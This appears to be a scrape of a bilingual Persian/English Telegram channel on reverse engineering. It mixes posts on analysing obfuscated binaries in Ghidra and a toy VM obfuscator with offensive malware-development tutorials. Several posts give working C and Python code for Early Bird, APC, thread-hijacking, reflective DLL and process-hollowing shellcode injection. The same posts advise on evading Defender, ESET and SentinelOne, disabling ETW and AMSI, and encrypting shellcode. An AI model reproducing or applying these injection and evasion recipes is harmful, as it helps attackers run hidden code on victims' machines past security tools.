ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
🐥 Early Bird Injection

«شل‌کدت رو قبل از اینکه EDR بفهمه تزریق کن!»




🧠 مفهوم Early Bird Injection

تو بیشتر حمله‌های تزریق (مثل Process Hollowing) Inject زمانی انجام میشه که پروسه target تا حدودی لود شده
ولی بعضی AV/EDRها قبل از Resume کردن پروسه hook و تحلیل خودشون رو شروع میکنن

اینجاست که Early Bird Injection می‌درخشه:

🔸 قبل از اینکه AV/EDR شروع به مانیتور کردن کنه
🔸 قبل از اینکه main() هدف اجرا شه
🔸 توی همون لحظه‌ای که پروسه suspended مونده




⚙️ مراحل کلی:

1 ایجاد یه پروسه با فلگ CREATE_SUSPENDED


2 تخصیص حافظه در اون پروسه


3 نوشتن شل‌کد یا DLL در حافظه‌ی هدف


4 استفاده از QueueUserAPC برای صف کردن اجرای شل‌کد


5 Resume
کردن Thread → شل‌کدت اجرا میشه به‌جای کد اصلی






🔐 مزایا:

تزریق توی لحظه‌ای که هیچ AV هنوز attach نشده
بدون استفاده مستقیم از CreateRemoteThread
بای‌پس خیلی از AV/EDRهای معمول مثل Defende، ESET حتی بعضی نسخه‌های SentinelOne




💻 کد ساده Early Bird Injection (C)

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // شل‌کد دلخواه رو جایگزین کن
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};

// 1. ایجاد پروسه به صورت SUSPENDED
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}

// 2. تخصیص حافظه در پروسه هدف
LPVOID remoteAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteAddr, payload, sizeof(payload), NULL);

// 3. استفاده از APC برای تزریق شل‌کد
QueueUserAPC((PAPCFUNC)remoteAddr, pi.hThread, NULL);

// 4. اجرای پروسه → اجرای شل‌کد
ResumeThread(pi.hThread);

return 0;
}





🔍 نکته مهم:

فقط روی thread هایی که alertable هستن (WaitForSingleObjectEx) اجرا میشه ولی توی حالت SUSPENDED، چون ویندوز پروسه رو alertable resume میکنه این تکنیک جواب میده

این یکی از stealth‌ ترین روش‌هاست اگه با syscall و PPID Spoof ترکیب بشه



🐥 Early Bird Injection
"Inject your shellcode before the EDR even notices!"

🧠 What is Early Bird Injection?
In most injection techniques (like Process Hollowing), the payload is injected after the target process has partially loaded.
But some modern AVs/EDRs begin hooking and analysis even before the process is resumed.
That's where Early Bird Injection shines:

🔸 Before the AV/EDR starts monitoring
🔸 Before the target’s main() executes
🔸 Right at the moment the process is still suspended

⚙️ Basic Steps:

1 Create a process with the CREATE_SUSPENDED flag


2 Allocate memory in the target process


3 Write your shellcode or DLL into that memory


4 Use QueueUserAPC to queue execution of the payload


5 Resume the main thread → Shellcode runs instead of original entry point



🔐 Advantages:
Injection occurs before any AV attaches
No direct use of CreateRemoteThread
Can bypass many AV/EDRs like Defender, ESET, even some versions of SentinelOne

💻 Simple Early Bird Injection (C):

#include <windows.h>
#include <stdio.h>

unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0 // Replace with your actual shellcode
};

int main() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};

// 1. Create the process in suspended state
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}

// 2. Allocate memory in the target process
LPVOID remoteAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteAddr, payload, sizeof(payload), NULL);

// 3. Queue the shellcode via APC
QueueUserAPC((PAPCFUNC)remoteAddr, pi.hThread, NULL);

// 4. Resume the thread → shellcode gets executed
ResumeThread(pi.hThread);

return 0;
}
1
🔍 Important Note:
This technique only works if the thread is in an alertable state (like via WaitForSingleObjectEx).
However, when a thread is resumed from SUSPENDED, Windows starts it in an alertable state — making this trick effective.

🕵️‍♂️ One of the stealthiest injection methods — and even more powerful when combined with syscalls and PPID spoofing.
1
💣 مثال عملی از Obfuscated Binary

🎯 هدف:

تحلیل یه باینری ساده ولی Obfuscated شده با تکنیک‌های:

Junk Code

Control Flow Flattening

Code Transposition

Opaque Predicates




🧪 مرحله ۱ – کد ساده اصلی (قبل از Obfuscation)

فرض کن این کد رو داریم:

int secret() {
return 1337;
}

int main() {
int x = secret();
if (x == 1337)
printf("Access Granted\n");
else
printf("Access Denied\n");
}


خیلی ساده و مستقیمه. تو disassembly سریعاً متوجه میشی secret() چیه و شرط رو راحت می‌فهمی.




💉 مرحله ۲ – اعمال Obfuscation

حالا این کد Obfuscated میشه خروجی چیزی شبیه به اینه:

🔻 سطح اسمبلی:

mov eax, 0x539 ; Load garbage value
nop
jmp label1

label1:
xor ecx, ecx
mov ecx, 0x539 ; Real value here
cmp ecx, 0x539
jne denied

mov edx, ecx
call check_flag

jmp end

check_flag:
push edx
mov eax, edx
cmp eax, 0x539
jne denied
pop edx
jmp success

success:
push message1
call printf
jmp end

denied:
push message2
call printf

end:
ret





🧠 نکات تحلیل:

توابع جابجا شدن → Call Graph به هم ریخته

cmp ecx, 0x539 تکراریه ولی ضروریه برای اجرای مسیر درست

شرط‌های اضافی و jumpهای غیرضروری → Control Flow Flattening

check_flag و main درهم ریخته‌ان

اسامی توابع حذف شدن یا رمزگذاری شدن





👀 در Ghidra/IDA چی می‌بینیم؟

CFG (Control Flow Graph) بهم ریخته‌ست
Cross Reference برای printf هست ولی نمی‌دونی کِی صدا زده میشه
Flow از بالا به پایین نیست → باید با چشم و منطق بازسازی کنی
جابه‌جایی labelها مسیر رو نامشخص میکنه




💣 Practical Example of an Obfuscated Binary

🎯 Target: Analyze a simple binary that has been obfuscated using techniques like:

Junk Code

Control Flow Flattening

Code Transposition

Opaque Predicates





🧪 Stage 1 – The Original Simple Code (Before Obfuscation)
Let’s start with a clean, readable piece of C code:

int secret() {
return 1337;
}
int main() {
int x = secret();
if (x == 1337)
printf("Access Granted\n");
else
printf("Access Denied\n");
}


Very straightforward. In the disassembly, you can quickly spot what secret() returns and understand the conditional logic.




💉 Stage 2 – After Obfuscation
Now, this code has been obfuscated. The disassembled output might look like this:

🔻 Assembly Level:

mov eax, 0x539 ; Load garbage value
nop
jmp label1
label1:
xor ecx, ecx
mov ecx, 0x539 ; Real value here
cmp ecx, 0x539
jne denied
mov edx, ecx
call check_flag
jmp end

check_flag:
push edx
mov eax, edx
cmp eax, 0x539
jne denied
pop edx
jmp success

success:
push message1
call printf
jmp end

denied:
push message2
call printf

end:
ret





🧠 Analysis Notes:

Function flow has been rearranged → Call graph is misleading

cmp ecx, 0x539 looks redundant but is necessary for valid path execution

Extra conditional jumps and labels → Result of Control Flow Flattening

check_flag and main are interleaved → harder static analysis

Function names are stripped or renamed → Symbol resolution is tricky





👀 What Do You See in Ghidra/IDA?
A messy Control Flow Graph (CFG)
Cross-references to printf() exist, but not clear when it’s triggered
No top-down logic flow — you must reconstruct it manually
Jump labels and code blocks are shuffled → control flow is disguised
1
💉APC Injection / Thread Hijacking

«کدت رو بچسبون به نخ زندگی یکی دیگه!» 🧵💉



تکنیک چی کار می‌کنه؟

APC Injection
یه تابع (مثلاً شل‌کد) رو می‌ذاری تو صف APC یه thread تا وقتی alertable شد اجرا شه
Thread Hijack یه thread از یه پروسه رو pause می‌کنی، مسیر اجراشو می‌فرستی سمت شل‌کدت و Resume می‌کنی


هر دوشون stealth هستن و توی حملات به شدت استفاده می‌شن.




روش اول: APC Injection

مراحل:

1 پیدا کردن یه thread تو پروسه هدف


2 تخصیص حافظه و نوشتن شل‌کد


3 استفاده از QueueUserAPC()


4 اگر thread alertable باشه، شل‌کد اجرا می‌شه



> این روش روی threadهایی جواب می‌ده که در حالت "alertable wait" باشن (مثل SleepEx, WaitForSingleObjectEx)



🚨 محدودیت:

AV
ها گاهی threadهای alertable رو زیر نظر دارن. برای اطمینان بیشتر بهتره خودت پروسه رو بسازی و بعد تزریق کنی.




روش دوم: Thread Hijacking (Hijack Thread)

ایده:

یه thread تو پروسه هدف pause می‌کنی مسیر اجرای CPU اون thread رو تغییر می‌دی به آدرس شل‌کدت بعد Resume می‌کنی.
بدون اینکه شکی ایجاد شه



💻 مثال ساده (C):

// فرض کن پروسه هدف رو قبلا پیدا کردی و handle داری
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
SuspendThread(hThread);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// تخصیص و نوشتن شل‌کد در حافظه پروسه هدف (مثل قبل)
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, payload, sizeof(payload), NULL);

// تغییر آدرس EIP/RIP به سمت شل‌کد
#ifdef _WIN64
ctx.Rip = (DWORD64)shellcodeAddr;
#else
ctx.Eip = (DWORD)shellcodeAddr;
#endif

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);





🔐 چرا این تکنیک‌ها خفنن؟

هیچ CreateRemoteThread که راحت detect شه وجود نداره
inject شدن خیلی stealthy هست
اگر با unhooking و direct syscall ترکیب بشه، اکثر AV/EDRها رو کور می‌کنه



💉 APC Injection / Thread Hijacking

🧵 "Stick your code into someone else's thread of life!"

Both of these are stealthy code injection techniques frequently used in offensive security and malware development.




Method 1: APC Injection

🧠 What it does:
Places a function (e.g., shellcode) into the APC (Asynchronous Procedure Call) queue of a thread. When that thread enters an alertable state, your code executes.

🛠 Steps:

1 Find a thread in the target process


2 Allocate memory and write shellcode into it


3 Use QueueUserAPC() to queue the shellcode


4 If the thread becomes alertable, the code gets executed



⚠️ Note: Only works on threads in an alertable wait state — like SleepEx(), WaitForSingleObjectEx(), etc.

🚨 Limitation:
Modern AVs may monitor alertable threads. For higher stealth, it’s better to spawn the process yourself in a suspended state, inject, then resume.





Method 2: Thread Hijacking

🧠 Idea:
Pause a thread in the target process, change its execution pointer (EIP/RIP) to point to your shellcode, then resume it — silently.

💻 Basic C Example:

// Assume you've already obtained a handle to the target process and thread
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
SuspendThread(hThread);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// Allocate memory and write shellcode in target process
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, payload, sizeof(payload), NULL);

// Redirect execution to shellcode
#ifdef _WIN64
ctx.Rip = (DWORD64)shellcodeAddr;
#else
ctx.Eip = (DWORD)shellcodeAddr;
#endif

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);





🔐 Why These Techniques Are Powerful: No use of CreateRemoteThread, which is easily flagged
Stealthy and clean injection method
When combined with unhooking and direct syscalls, most AV/EDR solutions are completely bypassed
1
🔎 تحلیل Obfuscated Binary در Ghidra

🎯 هدف:

شناسایی منطق پنهان‌شده در باینری بازسازی کد اصلی و یادگیری اینکه چطور Ghidra میتونه کمک کنه تا تو این مین‌فیلد راهتو پیدا کنی




🛠️ قدم اول: بارگذاری فایل در Ghidra

1 فایل باینری Obfuscated رو لود کن.


2 Architecture رو انتخاب کن (مثلاً x86 یا x86_64).


3 گزینه‌ی Auto Analysis رو روشن بزار تا خودش نقاط ورود و توابع مشکوک رو تشخیص بده






👁️ قدم دوم: شناسایی Junk Code

با باز کردن view دیس‌اسمبل (Listing)، متوجه می‌شی بعضی از کدها هیچ تأثیر واقعی ندارن:

mov eax, eax
xor ecx, ecx
add ecx, 0


📌 اینا همون Junk Code هستن. Ghidra گاهی اوقات خودش اونا رو کامنت میکنه یا برجسته میکنه به‌ عنوان "does nothing"
🧠 هدفشون اینه که ذهن دیباگر رو منحرف کنن نه اجرای واقعی رو تغییر بدن




🔁 قدم سوم: شناسایی Control Flow Flattening

وقتی control flow مثل شکل زیر میشه، این یعنی Flattening شده:

main:
|
+--> block_1
| |
| v
+--> block_2
| |
| v
+--> block_n
|
v
dispatcher

📌 Ghidra توی این حالت نشون می‌ده که همه‌ی بلاک‌ها با یه Dispatcher مرکزی کنترل میشن

🔎 Dispatcher معمولاً شامل یک switch یا چند cmp + jmp هست که مسیر اجرا رو میسازن




🎯 قدم چهارم: دنبال کردن Branchهای شرطی

یه بخش از کد:

cmp ecx, 0x539
jne denied


تو Ghidra با دوبار کلیک روی jne denied، می‌ری به Label مربوطه
🚩 با استفاده از "Xrefs" (Cross References) می‌تونید ببینی کی به این Label پرش میکنه




📘 قدم پنجم: بازسازی Pseudocode

تو Ghidra قسمت “Decompiled View” خیلی مهمه. یه چیزی مثل این رو می‌بینی:

if (ecx == 0x539) {
check_flag(ecx);
} else {
printf("Access Denied\n");
}


💡 این قسمت واقعاً بهت کمک می‌کنه تا منطق Obfuscated رو دوباره بخونی، چون Ghidra به‌صورت اتومات به Pseudocode تبدیلش میکنه




🧠 نتیجه‌گیری:

> حتی اگه باینری با تکنیک‌های Obfuscation سنگین رمزگذاری شده باشه،
باز هم با ابزارهایی مثل Ghidra و مهارت تو دیباگ کردن مسیر اجرا می‌تونی مثل یه کارآگاه نرم‌افزاری حقیقت پنهان رو کشف کنی




🔎 Analyzing Obfuscated Binaries in Ghidra
🎯 Goal: Reveal hidden logic, reconstruct the original code, and learn how Ghidra helps you survive the obfuscation minefield.




🛠️ Step 1 – Load the Binary into Ghidra

1 Open the obfuscated binary in Ghidra


2 Choose the correct architecture (e.g., x86 or x86_64)


3 Enable Auto Analysis so Ghidra can detect entry points and suspicious routines for you





👁️ Step 2 – Spotting Junk Code

In the Disassembly view, you’ll find instructions like:

mov eax, eax
xor ecx, ecx
add ecx, 0


📌 These are junk instructions — they do nothing and are just there to confuse analysts.
Ghidra may comment them as "does nothing" or visually mark them.

🎯 Target: Mislead reverse engineers without affecting program behavior.




🔁 Step 3 – Identifying Control Flow Flattening

If you see a control flow structure like this:

main:
|--> block_1
|--> block_2
|--> block_n
--> dispatcher

📌 That’s Control Flow Flattening in action.
In Ghidra, you’ll notice that each block jumps back to a dispatcher, which handles what to execute next.

🔍 The dispatcher often includes a switch, or a series of cmp and jmp instructions.




🔎 Step 4 – Follow Conditional Branches

Example:

cmp ecx, 0x539
jne denied



In Ghidra, double-clicking jne denied will take you directly to the target label.
🚩 Use Xrefs (Cross References) to see all branches and callers to that label — super useful for understanding logic flow.




📘 Step 5 – Rebuild Pseudocode

Ghidra’s Decompiled View is gold. You’ll see something like:

if (ecx == 0x539) {
check_flag(ecx);
} else {
printf("Access Denied\n");
}


💡 This helps you reconstruct obfuscated logic in high-level form. Even when control flow is ugly, the pseudocode makes it human-readable.




🧠 Conclusion:

> Even when binaries are heavily obfuscated using advanced techniques,
with tools like Ghidra and a sharp reverse engineering mindset,
you can uncover the hidden logic like a digital detective. 🔍🕵️‍♂️
2
Media is too big
VIEW IN TELEGRAM
Fake Gambling Cheat Runs Malware
Forwarded from GO-TO CVE
CVE-2020-0601-week-55.pdf
630.3 KB
🎯 بررسی آسیب‌پذیری CVE-2020-0601 – جعل CA مثل مایکروسافت!

در هفته ۵۵ از برنامه‌ی GO-TO CVE، سراغ یک آسیب‌پذیری بسیار خطرناک در زیرساخت ساین دیجیتال ویندوز رفتیم که با نام رسمی Windows CryptoAPI Spoofing Vulnerability شناخته می‌شه. این باگ در فایل سیستمی Crypt32.dll وجود داشت و به مهاجم اجازه می‌داد root CA جعلی بسازه که از دید ویندوز معتبر به نظر می‌رسه – حتی با نام و ظاهر Microsoft!

🔹 Week: 55
🔹 CVE: CVE-2020-0601
🔹 Type: ECC Certificate Spoofing → Signed Malware Execution
🔹 Component: Windows CryptoAPI (Crypt32.dll)
🔹 CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)

#week_55
🙏2
متاسفم، به زودی دوباره شروع میکنیم.
Sorry, we'll start again soon.
15
ساخت Obfuscator ساده با زبان C

🎯 هدف:

یاد بگیری چطور می‌شه یک برنامه‌ی C ساده رو به شکل سخت‌خوان گمراه‌کننده و ضد دیباگ دربیاری این کار باعث می‌شه یک تحلیل‌گر مهندسی معکوس به‌راحتی نتونه منطق اصلی کدت رو درک کنه




💻 مثال پایه: قبل از Obfuscation

#include <stdio.h>

int main() {
int a = 10;
int b = 5;
int c = a + b;
printf("Result: %d\n", c);
return 0;
}




🕳️ حالا بیایم این کد رو Obfuscate کنیم:

مرحله اول – جایگزینی متغیرهای معنادار با نام‌های بی‌معنی

int x1 = 10;
int x2 = 5;
int x3 = x1 + x2;


مرحله دوم – افزودن Junk Code

int trash1 = 123;
trash1 += 456;
trash1 -= 789;


مرحله سوم – کنترل جریان پیچیده

switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}


مرحله چهارم – اضافه کردن Anti-Debug (برای ویندوز)

#ifdef _WIN32
#include <windows.h>

void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif


و صدا زدنش در main:

#ifdef _WIN32
anti_debug();
#endif





🔥 نسخه Obfuscated شده کامل:

#include <stdio.h>
#ifdef _WIN32
#include <windows.h>
#endif

#ifdef _WIN32
void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif

int main() {
#ifdef _WIN32
anti_debug();
#endif

int x1 = 10;
int x2 = 5;
int trash1 = 123;
trash1 += 456;
trash1 -= 789;

int x3 = 0;

switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}

printf("Result: %d\n", x3);
return 0;
}




🔧 Building a Simple Obfuscator in C

🎯 Goal:

Learn how to turn a simple C program into something hard to read, misleading, and anti-debugging. This helps prevent reverse engineers from easily understanding the logic of your code.




💻 Basic Example: Before Obfuscation

#include <stdio.h>

int main() {
int a = 10;
int b = 5;
int c = a + b;
printf("Result: %d\n", c);
return 0;
}




🕳️ Now, let’s obfuscate this code:

Step 1 – Replace meaningful variable names with meaningless ones

int x1 = 10;
int x2 = 5;
int x3 = x1 + x2;


Step 2 – Add Junk Code

int trash1 = 123;
trash1 += 456;
trash1 -= 789;


Step 3 – Add Complex Control Flow

switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}


Step 4 – Add Anti-Debugging (for Windows)

#ifdef _WIN32
#include <windows.h>

void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif

And call it in main:

#ifdef _WIN32
anti_debug();
#endif



🔥 Final Obfuscated Version:

#include <stdio.h>
#ifdef _WIN32
#include <windows.h>
#endif

#ifdef _WIN32
void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif

int main() {
#ifdef _WIN32
anti_debug();
#endif

int x1 = 10;
int x2 = 5;
int trash1 = 123;
trash1 += 456;
trash1 -= 789;

int x3 = 0;

switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}

printf("Result: %d\n", x3);
return 0;
}
❤‍🔥31👍1
Reflective DLL Injection

«یه DLL از حافظه اجرا کن، بدون اینکه کسی بفهمه!» 🧠💉



📌 قضیه چیه؟

تو این تکنیک، یه DLL معمولی رو طوری می‌نویسی که خودش بتونه از داخل حافظه خودش رو load کنه.
یعنی نیازی به LoadLibrary()، دیسک، یا حتی توابع ویندوز نیست!
فقط کافی‌شه بریزش توی رم و یه فانکشنش رو صدا بزنی تمومه.




🚫 چرا این روش خیلی stealth هست؟

نیازی نیست DLL رو روی دیسک ذخیره کنی (فایل‌لس!)

هیچ LoadLibrary() نداره که AV باهاش trigger شه

معمولاً در حافظه با نام عادی دیده نمی‌شه

خیلی راحت می‌تونه با direct syscall ترکیب شه





💡 چجوری کار می‌کنه؟

یک DLL بازنویسی‌شده داریم که:

1. خودش import table خودش رو resolve می‌کنه


2. خودش relocations رو fix می‌کنه


3. خودش entry point رو اجرا می‌کنه


4. خودش توی حافظه می‌مونه بدون هیچ trace در دیسک






🔧 ابزارها / منابع معروف:

ابزار توضیح

ReflectiveLoader.c از Stephen Fewer خالق اولیه تکنیک Reflective DLL Injection
Donut Shellcode generator از DLL/EXE – قابل تزریق
sRDI از DLL → shellcode تبدیل میکنه (Safe Reflective DLL Injection)
Cobalt Strike از این تکنیک به صورت native استفاده می‌کنه
Mythic / Sliver پشتیبانی از reflective injection دارن





🎯 روش اجرای ساده:

// فرض: shellcode تولیدشده از DLL با Donut یا sRDI
unsigned char shellcode[] = { /* shellcode from DLL */ };

LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));

((void(*)())mem)(); // اجرای shellcode




🧬 نکته مهم امنیتی:

واسه اینکه این تکنیک بتونه EDR رو بای‌پس کنه:

از فایل DLL معمولی استفاده نکن → باید به‌صورت خاص طراحی شه
از NtAllocateVirtualMemory و NtProtectVirtualMemory به جای API معمول استفاده کن
از syscall مستقیم یا ابزار syswhispers2 یا Kraken استفاده کن
قبل از تزریق، باید ETW, AMSI, Event Hooks و … رو غیر فعال کنی




🔥 چرا فوق‌العاده‌ست؟

ویژگی Reflective DLL

فایل‌لس؟
روی حافظه اجرا؟
قابل بای‌پس؟
راحتی پیاده‌سازی نسبی (با ابزارها آسون‌تر می‌شه)


Reflective DLL Injection

“Run a DLL straight from memory — without anyone noticing!” 🧠💉




📌 What’s the deal?

This technique lets you write a DLL that can load itself from memory, without relying on LoadLibrary(), disk I/O, or even standard Windows APIs.

Just drop it into memory and call one function — done.




🚫 Why is it so stealthy?

No need to drop the DLL on disk (💾 fileless)

No call to LoadLibrary() that could trigger an AV

Doesn’t show up with a standard name in memory

Can be combined easily with direct syscalls





💡 How does it work?

A specially-crafted DLL is written to:

1. Resolve its own import table


2. Fix its own relocations


3. Manually invoke its entry point


4. Stay in memory — no disk trace at all




🔧 Popular Tools & Resources

Tool / Resource Denoscription

ReflectiveLoader.c (by Stephen Fewer) Original implementation of Reflective DLL Injection
Donut Converts DLL/EXE into injectable shellcode
sRDI Safely converts DLLs to reflective shellcode
Cobalt Strike Natively supports this injection technique
Mythic / Sliver Also support reflective injection mechanisms




🎯 Basic Execution Example

// Assuming the DLL is converted to shellcode via Donut or sRDI
unsigned char shellcode[] = { /* your shellcode */ };

LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));

((void(*)())mem)(); // Execute the shellcode




🧬 Security Notes:

To bypass modern EDRs, make sure to:

Avoid using a regular DLL — craft it specifically for reflection
Use NtAllocateVirtualMemory and NtProtectVirtualMemory instead of normal APIs
Employ direct syscalls (via SysWhispers2 or Kraken)
Disable ETW, AMSI, and user-mode hooks before injection




🔥 Why It’s Awesome

Feature Reflective DLL

Fileless
In-memory execution
EDR/AV bypass potential
Ease of use ⚠️ Moderate (easier with tools)
3
🧠 مقدمه:

تو دنیای واقعی خیلی از مهاجم‌ها دنبال اینن که بدون نوشتن یه خط ++C همون کارها رو با پایتون انجام بدن
تو این پست، همون Process Hollowing معروف رو با پایتون و pywin32 پیاده می‌کنیم خیلی شیک و خفن 🤓




⚙️ ابزار لازم:

pip install pywin32





🧨 کد ساده:

import win32process
import win32con
import win32api
import win32event
import win32security
import win32file
import ctypes

# شل‌کد مثال (مثلاً MessageBox – این فقط یه دموئه)
shellcode = b"\x90\x90..." # shellcode واقعی اینجا

# اجرای پروسس هدف به‌صورت معلق
startup_info = win32process.STARTUPINFO()
proc_info = win32process.CreateProcess(
None,
"C:\\Windows\\System32\\notepad.exe",
None, None, 0,
win32con.CREATE_SUSPENDED,
None, None,
startup_info
)

h_process, h_thread = proc_info[0], proc_info[1]

# رزرو حافظه
addr = ctypes.windll.kernel32.VirtualAllocEx(
h_process.handle, 0, len(shellcode),
win32con.MEM_COMMIT | win32con.MEM_RESERVE,
win32con.PAGE_EXECUTE_READWRITE
)

# نوشتن شل‌کد در حافظه هدف
ctypes.windll.kernel32.WriteProcessMemory(
h_process.handle, addr, shellcode, len(shellcode), None
)

# تغییر نقطه شروع نخ (SetThreadContext نیاز به ساختار CONTEXT داره، اینجا ساده‌ش کردیم)
# در حالت پیشرفته، از GetThreadContext و SetThreadContext با ctypes استفاده می‌شه.

# ادامه اجرا
win32process.ResumeThread(h_thread)




⚠️ هشدار امنیتی:

این کد فقط جنبه آموزشی داره اجرای این دست کدها روی سیستم‌های واقعی یا بدون مجوز، یه جور جرم حساب میشه و عواقبش با خودتونه




نکته برای رد کردن آنتی‌ویروس:

شل‌کدت رو رمزنگاری کن تو حافظه decrypt کن.

توابع مثل VirtualAllocEx رو با NtAllocateVirtualMemory جایگزین کن.

از QueueUserAPC یا NtCreateThreadEx به‌جای ResumeThread استفاده کنید


🧠 Introduction:

In the real world, many attackers look for ways to avoid writing a single line of C++ and still get their dirty work done — with Python.
In this post, we’re going to implement the infamous Process Hollowing technique using pywin32 and a bit of ctypes, nice and smooth. 🤓




⚙️ Requirements:

pip install pywin32




🧨 Minimal demo code:

import win32process
import win32con
import win32api
import win32event
import win32security
import win32file
import ctypes

# Example shellcode (e.g., MessageBox – just for demo purposes)
shellcode = b"\x90\x90..." # Replace with actual shellcode

# Start the target process in suspended mode
startup_info = win32process.STARTUPINFO()
proc_info = win32process.CreateProcess(
None,
"C:\\Windows\\System32\\notepad.exe",
None, None, 0,
win32con.CREATE_SUSPENDED,
None, None,
startup_info
)

h_process, h_thread = proc_info[0], proc_info[1]

# Allocate memory in the target process
addr = ctypes.windll.kernel32.VirtualAllocEx(
h_process.handle, 0, len(shellcode),
win32con.MEM_COMMIT | win32con.MEM_RESERVE,
win32con.PAGE_EXECUTE_READWRITE
)

# Write shellcode to the allocated memory
ctypes.windll.kernel32.WriteProcessMemory(
h_process.handle, addr, shellcode, len(shellcode), None
)

# Resume the thread (in simple form; advanced use includes SetThreadContext)
win32process.ResumeThread(h_thread)





⚠️ Security Warning:

> This code is shared for educational purposes only.
Running such code on real systems or without proper authorization may be considered a criminal offense. You're fully responsible for what you do with it.






🎯 Evasion Tips:

Encrypt your shellcode and decrypt it in memory
Replace VirtualAllocEx with NtAllocateVirtualMemory
Use QueueUserAPC or NtCreateThreadEx instead of ResumeThread
4
خیلی از کانالا رو دیدم اسکی میرن اسکی میری نوش جونت ولی حداقل منبع هم بزن😂


I’ve seen a lot of channels copy stuff — go ahead and copy, no problem, but at least mention the source😂
👍11
🧠 شبیه‌سازی ساده‌ی VMProtect با یک ماشین مجازی دست‌ساز در C



🎯 هدف:

درک پایه‌ای از اینکه VM-Based Obfuscation مثل VMProtect چطور کار میکنه ما یک زبان خیلی ساده اختراع می‌کنیم، یه ماشین مجازی خیلی سبک می‌نویسیم و کدمون رو به دستوراتی از این ماشین ترجمه میکنیم



🧠 مفهوم کلی VM-Based Obfuscation

VMProtect، Themida و شبیه‌های اون‌ها بخش‌هایی از کد رو از زبان اسمبلی واقعی تبدیل می‌کنن به یکسری دستور مخصوص که فقط ماشین مجازی خودشون می‌فهمه.
🔒 این کار باعث می‌شه تحلیل‌گر نتونه مستقیم توابع اصلی رو ببینه




🛠️ قدم اول: تعریف یک زبان بسیار ساده

فرض کنیم زبان ما ۳ دستور داره:

کد دستور عملکرد

01 PUSH_VAL
مقدار رو روی استک بذار
02 ADD
دو مقدار از استک بردار و جمع بزن
03 PRINT
مقدار بالا رو پرینت کن





📦 قدم دوم: تعریف کد Bytecode برنامه

ما می‌خوایم 10 + 20 رو محاسبه و چاپ کنیم.
کد Bytecode اون به‌صورت باینری:

01 0A ; PUSH_VAL 10
01 14 ; PUSH_VAL 20
02 ; ADD
03 ; PRINT




🧰 قدم سوم: پیاده‌سازی ماشین مجازی در C

#include <stdio.h>
#include <stdlib.h>

#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03

unsigned char bytecode[] = {
0x01, 0x0A, // PUSH 10
0x01, 0x14, // PUSH 20
0x02, // ADD
0x03 // PRINT
};

int stack[100];
int sp = -1;

void push(int val) {
stack[++sp] = val;
}

int pop() {
return stack[sp--];
}

void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
case ADD: {
int b = pop();
int a = pop();
push(a + b);
break;
}
case PRINT:
printf("Result: %d\n", pop());
break;
default:
printf("Invalid opcode: %02x\n", op);
return;
}
}
}

int main() {
run_vm();
return 0;
}





🧨 خروجی:

Result: 30




🤯 نکته مهم:

کدی که در این VM اجرا میشه از دید دی‌کامپایلرها مثل Ghidra یک بلاک غیر قابل درک به نظر میرسه چون توابع اصلی برنامه داخل VM مخفی شدن

🧠 Simple VMProtect Simulation with a Custom Virtual Machine in C




🎯 Goal:
Understand the basics of how VM-Based Obfuscation (like VMProtect) works.
We’ll invent a super simple language, write a minimal virtual machine, and translate our code into that VM's instructions.




